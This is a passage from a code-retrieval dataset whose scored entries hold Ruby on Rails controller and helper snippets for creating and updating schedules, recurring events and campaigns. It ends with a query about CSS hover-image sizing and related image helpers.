"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "441af517794bde107ed5ae55af24ec96",
"score": "0.6307613",
"text": "def create\n @schedule = current_user.schedules.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to dashboard_path, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "433d0bdfea23eeb321813f18b9754d83",
"score": "0.6290731",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f0e1f12bc5190d5250d71def209005eb",
"score": "0.6277277",
"text": "def create\n @task_schedule = TaskSchedule.new(task_schedule_params)\n\n respond_to do |format|\n if @task_schedule.save\n format.html { redirect_to @task_schedule, notice: 'Task schedule was successfully created.' }\n format.json { render :show, status: :created, location: @task_schedule }\n else\n format.html { render :new }\n format.json { render json: @task_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b575d81e6393b526266b5255154a9e1f",
"score": "0.62675875",
"text": "def create\n params[:recurring_event].parse_time_select! :start_time\n params[:recurring_event].parse_time_select! :end_time\n \n @recurring_event = RecurringEvent.new(recurring_event_params)\n @location = Location.find( @recurring_event.location_id )\n authorize! :create, @recurring_event , :message => 'Not authorized as an administrator.'\n respond_to do |format|\n if @recurring_event.save\n r = @recurring_event\n time = Time.zone.now\n doffset = r.day - time.wday\n if doffset < 0\n doffset = 7 + (r.day - time.wday)\n end\n \n stime = Time.new( time.year, time.month, time.day, r.start_time.hour, r.start_time.min ) + doffset.days\n etime = Time.new( time.year, time.month, time.day, r.end_time.hour, r.end_time.min ) + doffset.days\n \n ev = Event.find_or_create_by_recurring_event_id_and_start_date( r.id , stime )\n ev.name = r.name\n ev.hours_before_email = r.hours_before_email\n ev.hours_before_sms = r.hours_before_sms\n \n if r.hours_before_email\n rtime = stime - 1.hour * r.hours_before_email\n ev.next_reminder_time = rtime\n ev.next_reminder_type_cd = 0\n else\n if r.hours_before_sms\n rtime = stime - 1.hour * r.hours_before_sms\n ev.next_reminder_time = rtime\n ev.next_reminder_type_cd = 1\n end\n end\n ev.start_date = stime \n ev.end_date = etime\n ev.game_type_id = r.game_type_id\n ev.location_id = r.location_id\n ev.save()\n \n format.html { redirect_to @recurring_event, notice: 'Recurring event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @recurring_event }\n else\n format.html { render action: 'new' }\n format.json { render json: @recurring_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31bf82a997793acad427dfa99aef9d61",
"score": "0.6259474",
"text": "def get_schedule(access_token, campaign_id, schedule_id)\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + \n\t\t\t\t\t\t\t\tsprintf(Util::Config.get('endpoints.campaign_schedule'), campaign_id, schedule_id)\n\t\t\t\t\turl = build_url(url)\n\t\t\t\t\tresponse = RestClient.get(url, get_headers(access_token))\n\t\t\t\t\tComponents::Schedule.create(JSON.parse(response.body))\n\t\t\t\tend",
"title": ""
},
{
"docid": "9ce838eb1f74789392c242701ac2b727",
"score": "0.62519026",
"text": "def create\n @train_schedule = TrainSchedule.new(train_schedule_params)\n @train_schedule.days = params[:train_schedule][:days]\n respond_to do |format|\n if @train_schedule.save\n format.json { render json: {success: true}, status: :created, location: @train_schedule }\n else\n format.json { render json: @train_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "883ed28e876b70975967b5c27504fe9a",
"score": "0.6247726",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: \"Schedule was successfully created.\" }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf7f0ab885100ecec3e29de3750ff6f7",
"score": "0.6234204",
"text": "def create\n @weeks_schedule = WeeksSchedule.new(weeks_schedule_params)\n\n respond_to do |format|\n if @weeks_schedule.save\n format.html { redirect_to @weeks_schedule, notice: 'Weeks schedule was successfully created.' }\n format.json { render :show, status: :created, location: @weeks_schedule }\n else\n format.html { render :new }\n format.json { render json: @weeks_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42aa782045c42e8bd77eebc21b0777ad",
"score": "0.6233596",
"text": "def create\n\n\t\tparams = schedule_params\n\t\tschdate = Date.strptime(schedule_params['schedule_date'], '%m/%d/%Y')\n\t\tsongids = JSON.parse(params['song_order'])\n\t\t#params.delete('song_ids')\n\t\tparams['schedule_date'] = schdate\n\t\tparams['song_order'] = songids\n\n\t\tnewschedule = { :name => params['name'], :schedule_type => params['schedule_type'], :schedule_date => schdate, :notes => params['notes'], :song_order => params['song_order']}\n\t\t@schedule = Schedule.new(newschedule)\n\n\t\trespond_to do |format|\n\t\t\tif @schedule.save\n\n\t\t\t\t@schedule.songs << Song.find(songids)\n\n\t\t\t\tformat.html { redirect_to schedules_url, notice: 'Schedule was successfully created!' }\n\t\t\t\tformat.json { render :show, status: :created, location: @schedule }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @schedule.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "daa950589509f62c38626c1d05d55cce",
"score": "0.6222687",
"text": "def create\n @sulabh_loan_repay_schedule = SulabhLoanRepaySchedule.new(sulabh_loan_repay_schedule_params)\n\n respond_to do |format|\n if @sulabh_loan_repay_schedule.save\n format.html { redirect_to @sulabh_loan_repay_schedule, notice: 'Sulabh loan repay schedule was successfully created.' }\n format.json { render :show, status: :created, location: @sulabh_loan_repay_schedule }\n else\n format.html { render :new }\n format.json { render json: @sulabh_loan_repay_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f6ed51165830ca29bdfe4021170745c",
"score": "0.62188625",
"text": "def index\n query_string = 'is_recurrent = :is_recurrent'\n query_params = {\n is_recurrent: '0'\n }\n\n if params.include?(:start)\n if !query_string.empty?\n query_string += ' AND '\n end\n query_string += 'start_datetime >= :start_datetime'\n query_params[:start_datetime] = params[:start]\n end\n\n if params.include?(:end)\n if !query_string.empty?\n query_string += ' AND '\n end\n query_string += 'end_datetime <= :end_datetime'\n query_params[:end_datetime] = params[:end]\n end\n\n @schedules = current_user.schedules.select('*').where([query_string, query_params]).find_each\n\n if params.include?(:start)\n start_time = Time.zone.iso8601(params[:start])\n else\n return\n end\n\n if params.include?(:end)\n end_time = Time.zone.iso8601(params[:end])\n else\n return\n end\n\n recurrent_schedules = current_user.schedules.select('*').where(['is_recurrent = :is_recurrent', { is_recurrent: '1' }])\n\n @recurrent_schedules_array = []\n recurrent_schedules.find_each do |schedule|\n if schedule.start_datetime >= start_time\n start_time_loop = schedule.start_datetime\n else\n start_time_loop = start_time\n start_time_loop = start_time_loop.change(hour: schedule.start_datetime.hour, minutes: schedule.start_datetime.min, seconds: schedule.start_datetime.sec)\n end\n\n frequency = nil\n if schedule.recurrence_unit == Schedule::REPEAT_EVERY[:DAY][:ID]\n frequency = schedule.recurrence_frequency.day.to_i\n elsif schedule.recurrence_unit == Schedule::REPEAT_EVERY[:WEEK][:ID]\n frequency = schedule.recurrence_frequency.week.to_i\n else\n return 'Recurrence unit not exists.'\n end\n\n while start_time_loop <= end_time do\n diff = start_time_loop - schedule.start_datetime\n\n if (diff == 0)\n schedule.original_schedule = 1 # TRUE\n @recurrent_schedules_array << schedule\n elsif (diff != 0)\n if (diff % frequency) == 0\n new_schedule = schedule.dup\n new_schedule.id = schedule.id\n new_schedule.original_schedule = 0 # FALSE\n new_schedule.start_datetime = start_time_loop\n new_schedule.end_datetime = new_schedule.start_datetime + (schedule.end_datetime - schedule.start_datetime)\n @recurrent_schedules_array << new_schedule\n end\n end\n\n start_time_loop = start_time_loop.advance(days: 1)\n end\n end\n\n end",
"title": ""
},
{
"docid": "15fcd6f3e951cd6698247e26b64bf3ae",
"score": "0.62132627",
"text": "def create\n @nfi_schedule = NfiSchedule.new(nfi_schedule_params)\n\n respond_to do |format|\n if @nfi_schedule.save\n format.html { redirect_to @nfi_schedule, notice: 'Nfi schedule was successfully created.' }\n format.json { render :show, status: :created, location: @nfi_schedule }\n else\n format.html { render :new }\n format.json { render json: @nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8216dab2452612e7ce1897fb6250d859",
"score": "0.6211406",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n\t\t\t\tformat.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n\t\t\t\treturn\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56e49631e98b66a6c7221e9c038beda3",
"score": "0.6211346",
"text": "def create\n puts \"running create\"\n @event = current_user.events.create(event_params)\n # If no days are created init then forces creation of a blank schedule\n if @event.schedule.try(:days) == nil\n @schedule = @event.create_schedule(event_id: @event.id, user_id: current_user.id)\n end\n \n #@schedule.days.create\n\n\n \n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a118974f5b2fa4f35f85d5db610c06ed",
"score": "0.6205156",
"text": "def create\n @email_schedule = EmailSchedule.new(params[:email_schedule])\n\n respond_to do |format|\n if @email_schedule.save\n format.html { redirect_to @email_schedule, notice: 'Email schedule was successfully created.' }\n format.json { render json: @email_schedule, status: :created, location: @email_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dba6f0f79f85669a9877ad4f1e71f0f8",
"score": "0.62044483",
"text": "def create\n @kr_schedule = KrSchedule.new(params[:kr_schedule])\n\n respond_to do |format|\n if @kr_schedule.save\n format.html { redirect_to @kr_schedule, notice: 'Kr schedule was successfully created.' }\n format.json { render json: @kr_schedule, status: :created, location: @kr_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kr_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e1afd180f7dfdb8ee9efb0d51fef2215",
"score": "0.6198284",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render action: 'show', status: :created, location: @schedule }\n else\n format.html { render action: 'new' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "40c708b8934ff2e91908435347b1b3e2",
"score": "0.61949813",
"text": "def rehearsal_schedule_params\n params.require(:rehearsal_schedule).permit(:production_id, :space_id, :start_date, :end_date, :start_time, :end_time, :interval, :sunday, :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, user_ids: [])\n end",
"title": ""
},
{
"docid": "c1b894447beccb498de560e9e7a0ad7b",
"score": "0.6192283",
"text": "def create\n @weekly_schedule = WeeklySchedule.new(weekly_schedule_params)\n\n respond_to do |format|\n if @weekly_schedule.save\n format.html { redirect_to weekly_schedules_path, notice: 'Weekly schedule was successfully created.' }\n format.json { render json: @weekly_schedule, status: :created, location: @weekly_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weekly_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef204957bceec915d9083e4f3c36aadc",
"score": "0.61638594",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n start_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ params[:schedule][:start_time])\n end_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ params[:schedule][:end_time])\n @schedule.start_time = start_time\n @schedule.end_time = end_time\n @schedule.created_by = current_user.id\n\n respond_to do |format|\n if @schedule.save\n\n #add meetings\n if params[:meeting] and params[:meeting].length != 0\n params[:meeting].each do |meeting_item|\n meeting = Meeting.new()\n meeting.client_id = meeting_item[1][:id]\n meeting.meeting_duration = meeting_item[1][:meeting_duration]\n meeting.meeting_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ meeting_item[1][:meeting_time])\n meeting.schedule = @schedule\n meeting.save\n end\n end\n\n\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ff58294d69092e280a443d64acaeaaa",
"score": "0.6161591",
"text": "def create\n @recurring_transaction = RecurringTransaction.new(recurring_transaction_params)\n @recurring_transaction.user_id = session[:user_id]\n puts \"==========\\n\"\n puts \"#{params.class}\\n\"\n puts \"===========\\n\"\n puts params\n\n @recurring_transaction.pay_from_params params[:schedule]\n\n respond_to do |format|\n if @recurring_transaction.save\n format.html { redirect_to @recurring_transaction, notice: 'Recurring transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @recurring_transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @recurring_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "700d16cd4a86d8020a257ec8d4f0d581",
"score": "0.61582905",
"text": "def create\n response = EventSourced::Meeting.schedule(schedule_meeting_params.to_h.symbolize_keys)\n\n if response.success?\n render :json => { :meeting => response.data }\n else\n render :json => { :errors => response.errors }\n end\n end",
"title": ""
},
{
"docid": "7b5f396bb00428ba7ec1a323b9191cea",
"score": "0.61377513",
"text": "def build_schedule\n create_schedule({:conference_id => id})\n end",
"title": ""
},
{
"docid": "c0474c7e8d03f0886f60c88b965caf48",
"score": "0.6133414",
"text": "def create\n @travel_schedule = TravelSchedule.new(travel_schedule_params)\n\n respond_to do |format|\n if @travel_schedule.save\n format.html { redirect_to @travel_schedule, notice: 'Travel schedule was successfully created.' }\n format.json { render :show, status: :created, location: @travel_schedule }\n else\n format.html { render :new }\n format.json { render json: @travel_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "011ce9d74d1806265b851ee5c30031c1",
"score": "0.61273956",
"text": "def create\n @recurrence = Recurrence.new(recurrence_params)\n\n respond_to do |format|\n if @recurrence.save\n format.html { redirect_to @recurrence, notice: 'Recurrence was successfully created.' }\n format.json { render :show, status: :created, location: @recurrence }\n else\n format.html { render :new }\n format.json { render json: @recurrence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ecce61ff8b8d3135a7ff223555a4ad11",
"score": "0.61235183",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to new_schedule_path, notice: 'スケジュールが作成されました。' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56adc1c18edfe47a0e0bf1d2c723bf9f",
"score": "0.61212105",
"text": "def create\n @detail_schedule = DetailSchedule.new(detail_schedule_params)\n\n respond_to do |format|\n if @detail_schedule.save\n format.html { redirect_to @detail_schedule, notice: 'Detail schedule was successfully created.' }\n format.json { render :show, status: :created, location: @detail_schedule }\n else\n format.html { render :new }\n format.json { render json: @detail_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a72e70414dd4d6d6f2a309c0cc6c89c",
"score": "0.6104126",
"text": "def create\n\n # must remember which user built the schedule\n @schedule = @current_user.schedules.build(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n flash[:notice] = 'Schedule was successfully created.'\n format.html { redirect_to(@schedule) }\n format.xml { render :xml => @schedule, :status => :created, :location => @schedule }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17eb4086966d626ce80c17428a7f4dbb",
"score": "0.6096809",
"text": "def recurring_event_params\n params.require(:recurring_event).permit(:name, :start_time, :recurring)\n end",
"title": ""
},
{
"docid": "986dbb27c43ff2a6b1c7964d3aed5d6b",
"score": "0.6090028",
"text": "def schedule_params\n params.require(:schedule).permit(:salon_id, :start_time, :end_time, :recruitment_numbers, :notes, :title, :room_id)\n end",
"title": ""
},
{
"docid": "c37560a56b47d9d1f3f725aa635c8491",
"score": "0.608965",
"text": "def create\n @service_schedule = ServiceSchedule.new(service_schedule_params)\n\n if @service_schedule.save\n audit(@service_schedule, current_user)\n render json: @service_schedule, status: :created\n else\n render json: @service_schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "604ec4584d5f9ccc83344bdb133b1af9",
"score": "0.60760903",
"text": "def schedule_params\n params.require(:schedule).permit(:user_id, :name, :info, :venue, :pre_strat_date, :pre_end_date, :start_date, :end_date, :repeating, :charged, :charge_amount)\n end",
"title": ""
},
{
"docid": "bac01c9e153addfe36b3ef1550e53c94",
"score": "0.60667807",
"text": "def schedule_params\n params.require(:schedule).permit(:day, :date, :start_time, :activity_id, :membership_id)\n end",
"title": ""
},
{
"docid": "97dd2671fb39f5ae7fc39a644c43f849",
"score": "0.60643643",
"text": "def generate_recurring_entry\n QueueEntry.create!(self.attributes.merge({ :started_on => nil, \n :queue_job_server_id => nil, \n :scheduled_for => scheduled_for ? scheduled_for + recurring_interval.to_i : Time.now + recurring_interval.to_i }))\n end",
"title": ""
},
{
"docid": "f34d424e447f27d8dd6cef8cc4f82c69",
"score": "0.60585994",
"text": "def create_schedule(value)\n # Parse the the params to get the frequency rule type,start and end dates. These are required by the\n # ice cube to create the recurrence rule.\n\n frequency = JSON.parse(value[:frequency])['rule_type']\n start_date = value[:starting_date].to_datetime\n end_date = value[:ending_date].to_datetime\n reminder_time = Timeperiod.find(value[:group_id]).time_of_day\n end_date ||= start_date + 30.days\n s = IceCube::Schedule.new(start_date)\n\n # Passing the parameters to ice cube to create the schedule.\n case frequency\n when \"IceCube::DailyRule\"\n s.add_recurrence_rule IceCube::Rule.daily(1).hour_of_day(reminder_time.hour).minute_of_hour(reminder_time.min).second_of_minute(0).until(end_date)\n when 'IceCube::WeeklyRule'\n days = JSON.parse(value[:frequency])['validations']['day']\n s.add_recurrence_rule IceCube::Rule.weekly(1).day(*days).hour_of_day(reminder_time.hour).minute_of_hour(reminder_time.min).second_of_minute(0).until(end_date)\n end\n return s\n end",
"title": ""
},
{
"docid": "48c0adf6162c5094e6e70178319c5ee9",
"score": "0.6053065",
"text": "def create\n module_code = params[:class_schedule][:module_code]\n title = params[:class_schedule][:title]\n location = params[:class_schedule][:location]\n num_weeks = params[:class_schedule][:repeats].to_i\n start_date = params[:class_schedule][:date]\n start_time = params[:class_schedule][:time_s]\n end_time = params[:class_schedule][:time_e]\n \n @class_schedule = ClassSchedule.new(module_code: module_code, title: title, start_time: \"#{start_date} #{start_time}\".to_datetime, \n end_time: \"#{start_date} #{end_time}\".to_datetime, location: location)\n \n @class_schedule.save\n\n \n while(num_weeks > 0)\n #Add 7 days to start and end times\n start_date = (start_date.to_date + 7.days).to_date\n \n @class_schedule = ClassSchedule.new(module_code: module_code, title: title, start_time: \"#{start_date} #{start_time}\".to_datetime, \n end_time: \"#{start_date} #{end_time}\".to_datetime, location: location)\n @class_schedule.save\n num_weeks-=1\n end\n redirect_to events_path\n end",
"title": ""
},
{
"docid": "2029cc6bb1033ea2d421ca9382edcc46",
"score": "0.6047225",
"text": "def schedule\n @campaign.schedule!\n respond_with(@campaign)\n end",
"title": ""
},
{
"docid": "48d45e3089c7496b5a24e609b0472add",
"score": "0.603147",
"text": "def create\n @course = Course.find(params[:course_id])\n @recurring_event = RecurringEvent.new\n @recurring_event.course_id = params[:course_id]\n @recurring_event.start_date = Time.parse(params[:start_date])\n\n @recurring_event.center_id = session[:center_id]\n if @recurring_event.save\n flash[:notice] = 'CourseSchedule was successfully created.'\n redirect_to(course_recurring_events_path(@course.id))\n else\n flash[:notice] = 'Could not create recurring event due to system errors.'\n redirect_to course_recurring_events_path(@course.id)\n end\n end",
"title": ""
},
{
"docid": "2051944cbed9c635bd128726ab581f4a",
"score": "0.60282093",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule.workout, notice: t('.create.notice') }\n format.json { render :show, status: :created, location: @schedule.workout }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51ba60bc413082f7bbd75d93581cd31d",
"score": "0.60242885",
"text": "def update\n respond_to do |format|\n if @recurring_schedule.update(recurring_schedule_params)\n format.html { redirect_to @recurring_schedule, notice: 'Recurring schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @recurring_schedule }\n else\n format.html { render :edit }\n format.json { render json: @recurring_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
9578b5b77fda7235b163515788e0466b | check if the hover class needs width and height if the hover class has the same width and height property with not hover class, then the hover class does not need width and height | [
{
"docid": "49b9c975e338c6f69e83256f94ece9f5",
"score": "0.4764645",
"text": "def need_wh?(image, directory)\n\t#allways return true\t\n\t\t#name = get_image_name(image, directory)\n\t\t#if hover?(name) or active?(name)\n\t\t\t#not_file = image.filename.sub(/[_-](hover|active)\\./, '.').sub(/[_-](hover|active)\\//, '/')\n\t\t\t#if File.exist?(not_file)\n\t\t\t\t#not_image = get_image(not_file)\n\t\t\t\t#return false if image.columns == not_image.columns and image.rows == not_image.rows\n\t\t\t#end\n\t\t#end\n\t\treturn true\n\tend",
"title": ""
}
] | [
{
"docid": "597a715ddac94a8c4ab2d74befe8b4e8",
"score": "0.62029785",
"text": "def has_hover?(name)\n !image_for(\"#{name}_hover\").nil?\n end",
"title": ""
},
{
"docid": "d456157242440cc0144cf74ea7345799",
"score": "0.58598334",
"text": "def hovered?\n end",
"title": ""
},
{
"docid": "9c95d5de3021a0919a0a10cd3b65f460",
"score": "0.5626033",
"text": "def check_hover(pos)\n #log_append \"CHECKHOVER\"\n #log_append pos\n #log_append [self.x,self.y]\n return if pos[0] < self.x + @shrink\n return if pos[1] < self.y + @shrink\n return if pos[0] > self.x + self.width - @shrink\n return if pos[1] > self.y + self.height - @shrink\n @state = :active\n self.bitmap = @bmp_over if @bmp_over\n @select.call() if @select\n end",
"title": ""
},
{
"docid": "beb113b91a05f542d6e3934b491d83c7",
"score": "0.5494766",
"text": "def horizontal?\n height < width\n end",
"title": ""
},
{
"docid": "4622a10545d0a6398cbdbc25acc2fd08",
"score": "0.54190093",
"text": "def horizontal?\n height < width\n end",
"title": ""
},
{
